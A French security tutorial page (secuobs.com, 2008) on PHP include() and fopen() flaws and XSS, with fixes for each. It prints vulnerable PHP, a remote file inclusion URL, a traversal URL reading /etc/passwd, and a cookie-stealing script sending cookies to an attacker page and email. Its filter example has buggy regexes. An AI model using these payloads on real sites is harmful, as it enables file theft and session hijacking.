|
|
Proposer un article
| Sommaires |
|
|
|
|
| Breves |
|
|
|
- 20% de remise sur les certificats SSL VeriSign jusqu'au 31 mai 2008 (Lire)- Vol de données à Harvard (Lire)- Un exploit pour Quicktime découvert « in the wild » (Lire)- Les derniers jours de MD5 ? (Lire)- Le spam sur le déclin (Lire)- Des spams au format MP3 (Lire)- Areva T&D choisit iPass pour équiper 7000 utilisateurs (Lire)- Ironport lance des fonctions de prévention des fuites d’informations (Lire)- Sortie du numéro 8 de Uninformed (Lire)- Liens malveillants sur le service Google Adwords (Lire)- RSA SecurID en version mobile (Lire)- Deux exploits preuves de concept pour Adobe Photoshop (Lire)- Des titres suspendus à la bourse américaine pour cause de spam (Lire)- Le programme de SSTIC 2007 (Lire)- Le mois des failles PHP vient de commencer (Lire)- Internet de plus en plus résistant ? (Lire)- Augmentation des cryptovirus rançonneurs en vue pour Kaspersky (Lire)- Les forces de l’ordre interdites de piratage en Allemagne (Lire)- Appel à communication pour la JSSI 2007 (Lire)- 11 techniques pour se protéger contre le phishing (Lire)
|
|
| Articles |
|
|
|
- [Lutter contre les spams vocaux par Sysun Technologies – partie 1] Introduction à la VoIP (Lire)- [Lutter contre les spams vocaux par Sysun Technologies – partie 2] Les risques de la VoIP (Lire)- [Lutter contre les spams vocaux par Sysun Technologies – partie 3] Le module AntiSPIT (Lire)- [Lutter contre les spams vocaux par Sysun Technologies – partie 4] AntiSPIT par l'exemple (Lire)- [Lutter contre les spams vocaux par Sysun Technologies – partie 5] Crédits et webographie (Lire)- Un accès complet à la mémoire des systèmes Microsoft Windows via le port Firewire (Lire)- GenDBG, un debugger générique (Lire)- [NessusWX – Partie 1] Introduction, installation et configuration (Lire)- [NessusWX – Partie 2] Audits et conclusion (Lire)- [IDS Snort Windows – Partie 1] Introduction aux IDS et à SNORT (Lire)- [IDS Snort Windows – Partie 2] Installation et configuration (Lire)- [IDS Snort Windows – Partie 3] Exemple de fichier de configuration (Lire)- [IDS Snort Windows – Partie 4] Conclusion et webographie (Lire)- [Sécurité et PHP - Partie 1] Les injections SQL (Lire)- [Sécurité et PHP - Partie 2] La gestion des sessions (Lire)- [Sécurité et PHP - Partie 3] Les failles PHP (Lire)- [Sécurité et PHP - Partie 4] Remote PHP Vulnerabilty Scanner (Lire)- [Sécurité et PHP - Partie 5] Astuces (Lire)- [Samhain FIDS multi-postes centralisé – Partie 1] Introduction et installation (Lire)- [Samhain FIDS multi-postes centralisé – Partie 2] Configuration (Lire) |
| Commentaires | | | | - la notion de prototype s'applique au fait que l'on puisse effect ... (Lire)
- il faut aussi prendre en compte le fait que "prototype" dans ce ... (Lire)
- Bonjour Ines, Le terme détournement de prototype ne me choque pa ... (Lire)
- Bonjour,je profite du fait que vous connaissiez bien ce domaine ... (Lire)
- du point de vue des visiteurs oui mais le repas des speakers c'é ... (Lire)
- Contrairement a ce que vous annoncez, le SSTIC s'était déroulé d ... (Lire)
- en l'état ça ne semble pas possible de récupérer la base SAM loc ... (Lire)
- mais avec quelle logiciel va tu capturer la sam d'un windows.Sac ... (Lire)
- Si la question est "est-ce que je peux prendre la base SAM sur u ... (Lire)
- Salut je voulais savoir si on peut faire sa en réseau local, ave ... (Lire)
- je viens de rectifier les deux liens, merci pour la correction N ... (Lire)
- L'adresse officielle du magazine MISC est :www (dot) miscmag (do ... (Lire)
- Merci beaucoup je viens de corriger ça ... ... (Lire)
- Deux petites coquilles dans la commande iptables de l'article: i ... (Lire)
- L'ancienne version mise en page est disponible sur cette page : ... (Lire)
- je n'arive pas a le lire en entier, le tuto est peut etre bien m ... (Lire)
- j'utilise un certificat Rapid SSL depuis 2 ans et j'en suis cont ... (Lire)
- Merci pour ce lien, je ne connaissais pas ce prestataire! Ils on ... (Lire)
- pourquoi on devrait utiliser live helper plutot que la méthode d ... (Lire)
- les utilisateurs ne sont pas toujours les seuls à pouvoir être m ... (Lire)
- Comme c'est indiqué dans l'article les pilotes madwifi ne permet ... (Lire)
- Tout ça peut se résumer à: C'st l'utilisateur qui est le point f ... (Lire)
- après tout cela, comment mettre la carte sur une puissance de 30 ... (Lire)
- pourquoi ne pas utiliser live-helper ?voir le projet Debian Live ... (Lire)
- C'est le problème des solutions de sécurité en général qu'elles ... (Lire)
|
|
|
Tests |
Aujourd'hui |
Ce
mois |
Ajoutés |
0 |
0 |
|
|







|
|
[Sécurité et PHP - Partie 3] Les failles PHP
Par Rédaction,
secuobs.com
Le 10/05/2008
Résumé : Les détails des vulnérabilités relatives à l'utilisation des fonctions include() et fopen() dans les scripts PHP ainsi celles associées aux failles de type Cross Site Scripting aussi connues sous l'acronyme XSS. Retrouvez également les principes de sécurisation liés à ces différents types de risques.
NDLR : ce document a été rédigé en 2006, certaines versions ainsi que certaines configurations des logiciels utilisés selon ces versions peuvent être différentes de celles qui sont mentionnées ; merci de vous reporter vers les sites officiels des projets en question en cas de problème.
La fonction include()
Cette fonction est assez connue et utilisée. Elle permet de rendre du code modulaire en chargeant dynamiquement un fichier et en exécutant le code PHP qu'il contient .Elle gère également les fichiers locaux et les streams de type curl , http , ftp et php.
Ce qui permet alors d'injecter du code, un exemple avec le fichier « fichiervuln.php » se trouvant sur le site vulnérable :
<?
include($_REQUEST["page"]);
?>
Et un fichier « hack.txt » hébergé sur un site quelconque :
<?
phpinfo();
?>
Sur un site vulnérable on peut remarquer des liens de type « sitevuln.com/fichiervuln.php?page=contact.html », pour exploiter la faille en résultant il suffit d'aller simplement sur l'url « sitevuln.com/fichiervuln.php?page=monserver.com/hack.txt ».
On voit alors que la fonction phpinfo() a été exécutée. Un pirate peut alors prendre le contrôle du serveur et exécuter d'autres programmes en passant par les fonction system() ,exec() ou en passant par un exploit local PHP.
Pour sécuriser un include() il est nécessaire de valider correctement la variable d'entrée $_REQUEST["page"] :
<?
$inrep = "./";
$extfichier = ".php";
$page = $inrep.basename(strval($_REQUEST["page"]),$extfichier).$extfichier;
if(file_exist($page))
include($page);
?>
Par le passé, on a constaté beaucoup d'include sécurisés seulement avec la fonction file_exist() qui renvoie une réponse positive si le fichier existe en local.
A partir de la version 5 de PHP, cette fonction gère les streams et notamment les streams http, elle ne protège donc plus de l'injection de code a distance ni de l'injection de code par fichier local.
La fonction strval() n'est pas nécessaire sur les versions récentes de PHP. La meilleure façon de sécuriser un code PHP étant encore la suivante :
<?
switch($_REQUEST["page"])
{
case "contact.php":
include("contact.php");
break;
default:
break;
}
?>
Cette méthode est beaucoup moins modulaire, mais plus optimisée.
La fonction fopen()
La fonction fopen() est quant à elle très souvent utilisée et permet d’ouvrir un fichier ou un répertoire pour en afficher le contenu.
Généralement les failles liées à cette fonction sont de type « directory traversal », c'est-à-dire que l’utilisateur sort de l’arborescence de répertoires qui lui avait été normalement assignée.
<?
$filename = $_REQUEST["idimage"];
$filepath = "/rep/secret/".$filename;
$filesize = @filesize($filepath);
$ext = substr($filename, strrpos($filename, ".") + 1);
if ($ext == "jpg") $ext = "jpeg";
if(@file_exists($filepath)){
Header("HTTP/1.1 200 OK");
Header("Content-type: image/" . $ext);
Header("Content-Length: $filesize");
Header("Content-Disposition: filename=$filename");
Header("Content-Transfer-Encoding: binary");
Header("Cache-Control: store, cache"); // HTTP/1.1
Header("Pragma: cache");
$fp = fopen($filepath, "rb");
if (!fpassthru($fp)) fclose($fp);
}
exit;
?>
Ce script permet normalement d'uploader des images. Celles-ci sont stockées dans un répertoire non accessible via le serveur Web (Apache dans ce cas). Il faut donc passer par un script PHP pour voir les photo via une url de type « site.com/bimage.php?idimage=20050124.jpg »
En fait, ce script permet de lire n'importe quel fichier en local sur le serveur, avec une url comme celle-ci « site.com/bimage.php?idimage=../../../../../../../../../../../etc/passwd »
On récupère ici le fichier passwd du serveur. A l'aide du très connu "../" on remonte les répertoires, à noter que sur un système d'exploitation de type SUN Solaris la fonction fpassthru() permet de voir également le contenu d'un répertoire.
Sur d'autres systèmes d'exploitation, il est nécessaire d'utiliser les fonctions adéquates pour lister les répertoire suite à l'ouverture avec la fonction fopen() .
Cette vulnérabilité permet donc de voir le code source d'un fichier .htaccess ou celui d'un .htpasswd mais également les fichier php eux mêmes afin d'en extraire des logins et mots de passe SQL tout en cherchant d'autres failles à exploiter dans ces scripts.
Pour valider correctement les variables données en paramètre à un fopen() un filtre est alors nécessaire :
<?
// Filtrer ..\ n'est nécessaire que sur les systèmes d'exploitation de type Windows
if(eregi('../',$_REQUEST["idimage"]) || eregi('..\’,$_REQUEST["idimage"]))
{
echo "bad input";
exit();// on arrête le script
}
//sinon on continue
$badext = ".php" // on définit les extensions de fichiers à interdire
$filename = basename($filename,$badext); // permet de supprimer l'extension .php et de récupérer le nom du fichier sans les répertoires associés
$filepath = "/rep/secret/".$filename;
// suite normal du script etc etc
?>
Ne mettez pas une fonction de transcodage après avoir filtré une variable, sinon cela rendra le filtre complètement inutile et il serait alors facilement contournable.
XSS : Cross Site Scripting
Le Cross Site Scripting est une attaque coté client, elle s'effectue par injection de code HTML dans le navigateur. Le HTML étant un langage de description par balises il suffit généralement de pouvoir injecter les caractères < et > afin de pouvoir exploiter une vulnérabilité de ce type :
< ?
Echo "bienvenue ".$_REQUEST[nom] ;
?>
C’est le cas classique d’un XSS. Il suffit de visiter l'url « site.com/vuln.php?nom=<script>alert(1337)</script> » ; on peut donc injecter directement du code HTML, javascript et tous les types de code qu'un navigateur est habilité à exécuter.
Généralement les magic quote empêche une utilisation du javascript avec ce principe, mais là également on peut facilement le contourner avec une url telle que « site.com/vuln.php?badvar=%3Cscript%3Ealert%28%22helloworld%22%29%3C/script%3E%3Cnoscript%3E%3Cscript%3E&nom=<script>document.write(unescape(location.href))</script> »
La variable badvar contient le code javascript qui va afficher le « helloworld », on effectue un simple document.write() de l’adresse du site.
L’utilisation principale du XSS est le vol de cookie, son fonctionnement est très simple il suffit d’ouvrir une frame ou une fenêtre sur un fichier stockant le cookie passé en paramètre.
Le code javascript permettant de voler le cookie serait alors le suivant :
<script>document.location='www.votresite.com/page.php?cookie=' + document.cookie</script>
La page page.php ressemblerait quant à elle à :
<?
$cookie = $_GET['cookie'];
mail(“mailduvoleur@hack.com”, “le cookie”, “$cookie”);
?>
Le voleur reçoit donc le cookie par email. Certains cookies contiennent des données sensibles qui peuvent permettre de s’identifier sur un site.
Pour se protéger du XSS il suffit de filtrer les variables avant de les afficher sur la sortie, ce filtrage s'effectue à l’aide de la fonction htmlspecialchars() qui va convertir la chaîne en caractères HTML « affichables » :
< ?
$out = htmlspecialchars($_REQUEST[nom]) ;
Echo "bienvenue ".$out;
?>
Autres ressources dans ce dossier :
[Sécurité et PHP - Partie 1] Les injections SQL – lien http interne url:[click]
[Sécurité et PHP - Partie 2] La gestion des sessions – lien http interne url:[click]
[Sécurité et PHP - Partie 4] RPVS – lien http interne url:[click]
[Sécurité et PHP - Partie 5] Astuces – lien http interne url:[click]
Les 20 derniers articles de la categorie Tutoriels :- [NessusWX – Partie 1] Introduction, installation et configuration (Lire)
- [NessusWX – Partie 2] Audits et conclusion (Lire)
- [IDS Snort Windows – Partie 1] Introduction aux IDS et à SNORT (Lire)
- [IDS Snort Windows – Partie 2] Installation et configuration (Lire)
- [IDS Snort Windows – Partie 3] Exemple de fichier de configuration (Lire)
- [IDS Snort Windows – Partie 4] Conclusion et webographie (Lire)
- [Sécurité et PHP - Partie 1] Les injections SQL (Lire)
- [Sécurité et PHP - Partie 2] La gestion des sessions (Lire)
- [Sécurité et PHP - Partie 3] Les failles PHP (Lire)
- [Sécurité et PHP - Partie 4] Remote PHP Vulnerabilty Scanner (Lire)
- [Sécurité et PHP - Partie 5] Astuces (Lire)
- [Samhain FIDS multi-postes centralisé – Partie 1] Introduction et installation (Lire)
- [Samhain FIDS multi-postes centralisé – Partie 2] Configuration (Lire)
- [Samhain FIDS multi-postes centralisé – Partie 3] Utilisation (Lire)
- [Samhain FIDS multi-postes centralisé – Partie 4] Résultats (Lire)
- [Etude de cas IDX-PKI GPL – Partie 1] Présentation (Lire)
- [Etude de cas IDX-PKI GPL – Partie 2] Installation (Lire)
- [Etude de cas IDX-PKI GPL – Partie 3] Configuration (Lire)
- [Etude de cas IDX-PKI GPL – Partie 4] Conclusion (Lire)
- [Analyse des logs système avec Tenshi – Partie 1] Introduction et installation (Lire)
| Mini-tagwall de la revue de presse : security, vulnérabilité, microsoft, hacker, apple, phone, windows, attack, network, server, sécurité, google, internet, release, vulnerability, firefox, mobile, linux, iphone, manage, black, vmware, malware, inject, patch, yahoo, exploit, safari, protect, remote, vista, biometric, crypt, business, mozilla, research, source, laptop, virtual, cisco, virus, phish, office, pirate, access, video, kernel, china, drive, intel, mysql, critical, chine, apache, critique, flash, website, privacy, version, podcast, adobe, critiques, myadmin, typo3, tomcat, arrêt, facebook, wireless, seamonkey, fraud, webkit, europe, conference, botnet, engine, opera, trojan, identity, storm, photo, cross, register, layer, table, government, symantec, database, storage, wi-fi, crack, player, olice, police, fingerprint, oracle, break, france, download, password, email, theft, social, trust, visio, browser, digital, expert, client, legal, electro, share, process, monitor, frame, trend, local, myspace, attaque, gates, surveillance, developer, squid, youtube, airport, music, hijack, japan, audit, scanner, detect, rootkit, nokia, infect, futur, backup, certificat, interview, green, système, quicktime, overflow, military, package, verizon, passport, america, mcafee, skype, india, terrorism, réseau, vendor, document, inclusion, joomla, pentagon, macbook, compliance, hardware, authentication, major, compromis, robot, forensic, defend, spammer, cable, policy, paypal, torrent, solaris, switch, gestion, russia, router, debian, novell, appliance, prison, bluetooth |
| Ce site vous a plu ? Par avance, merci de bien vouloir nous adresser un don (transaction sécurisée par compte Paypal ou par carte de crédit) si vous le désirez afin de préserver le caractère indépendant de nos recherches en cliquant sur le bouton suivant : |
|
|
|

|
|
|
|
|
| Mini-Tagwall | | | | security, vulnérabilité, microsoft, hacker, apple, phone, windows, attack, network, server, sécurité, google, internet, release, vulnerability, firefox, mobile, linux, iphone, manage, black, vmware, malware, inject, patch, yahoo, exploit, safari, protect, remote, vista, biometric, crypt, business, mozilla, research, source, laptop, virtual, cisco | | |
| Revue de presse francophone | | | | - Multiples vulnérabilités, certaines très critiques dans TYPO3 PHP MyAdMin, Apache Tomcat, Apple Mac OS X, Apple Safari WebKit, Mozilla Firefox + SeaMonkey, Linux Kernel, MySQL, Ruby, VMware Server,
- Multiples vulnérabilités, certaines très critiques dans TYPO3 PHP MyAdMin, Apache Tomcat, Apple Mac OS X, Apple Safari WebKit, Mozilla Firefox + SeaMonkey, Linux Kernel, MySQL, Ruby, VMware Server,
- Multiples vulnérabilités, certaines très critiques dans TYPO3 PHP MyAdMin, Apache Tomcat, Apple Mac OS X, Apple Safari WebKit, Mozilla Firefox + SeaMonkey, Linux Kernel, MySQL, Ruby, VMware Server,
- Multiples vulnérabilités, certaines très critiques dans TYPO3 PHP MyAdMin, Apache Tomcat, Apple Mac OS X, Apple Safari WebKit, Mozilla Firefox + SeaMonkey, Linux Kernel, MySQL, Ruby, VMware Server,
- Multiples vulnérabilités, certaines très critiques dans TYPO3 PHP MyAdMin, Apache Tomcat, Apple Mac OS X, Apple Safari WebKit, Mozilla Firefox + SeaMonkey, Linux Kernel, MySQL, Ruby, VMware Server,
- Multiples vulnérabilités, certaines très critiques dans TYPO3 PHP MyAdMin, Apache Tomcat, Apple Mac OS X, Apple Safari WebKit, Mozilla Firefox + SeaMonkey, Linux Kernel, MySQL, Ruby, VMware Server,
- Multiples vulnérabilités, certaines très critiques dans TYPO3 PHP MyAdMin, Apache Tomcat, Apple Mac OS X, Apple Safari WebKit, Mozilla Firefox + SeaMonkey, Linux Kernel, MySQL, Ruby, VMware Server,
- Documentation sur les Sniffers et comment les detecter
- Multiples vulnérabilités, certaines très critiques dans TYPO3 PHP MyAdMin, Apache Tomcat, Apple Mac OS X, Apple Safari WebKit, Mozilla Firefox + SeaMonkey, Linux Kernel, MySQL, Ruby, VMware Server,
- Multiples vulnérabilités, certaines très critiques dans TYPO3 PHP MyAdMin, Apache Tomcat, Apple Mac OS X, Apple Safari WebKit, Mozilla Firefox + SeaMonkey, Linux Kernel, MySQL, Ruby, VMware Server,
- Multiples vulnérabilités, certaines très critiques dans TYPO3 PHP MyAdMin, Apache Tomcat, Apple Mac OS X, Apple Safari WebKit, Mozilla Firefox + SeaMonkey, Linux Kernel, MySQL, Ruby, VMware Server,
- Multiples vulnérabilités, certaines très critiques dans TYPO3 PHP MyAdMin, Apache Tomcat, Apple Mac OS X, Apple Safari WebKit, Mozilla Firefox + SeaMonkey, Linux Kernel, MySQL, Ruby, VMware Server,
- P2P Programs Designed for Anonymity
- Multiples vulnérabilités, certaines très critiques dans TYPO3 PHP MyAdMin, Apache Tomcat, Apple Mac OS X, Apple Safari WebKit, Mozilla Firefox + SeaMonkey, Linux Kernel, MySQL, Ruby, VMware Server,
- Multiples vulnérabilités, certaines très critiques dans TYPO3 PHP MyAdMin, Apache Tomcat, Apple Mac OS X, Apple Safari WebKit, Mozilla Firefox + SeaMonkey, Linux Kernel, MySQL, Ruby, VMware Server,
| | |
| Revue de presse internationale | | | | | | |
| |
|
|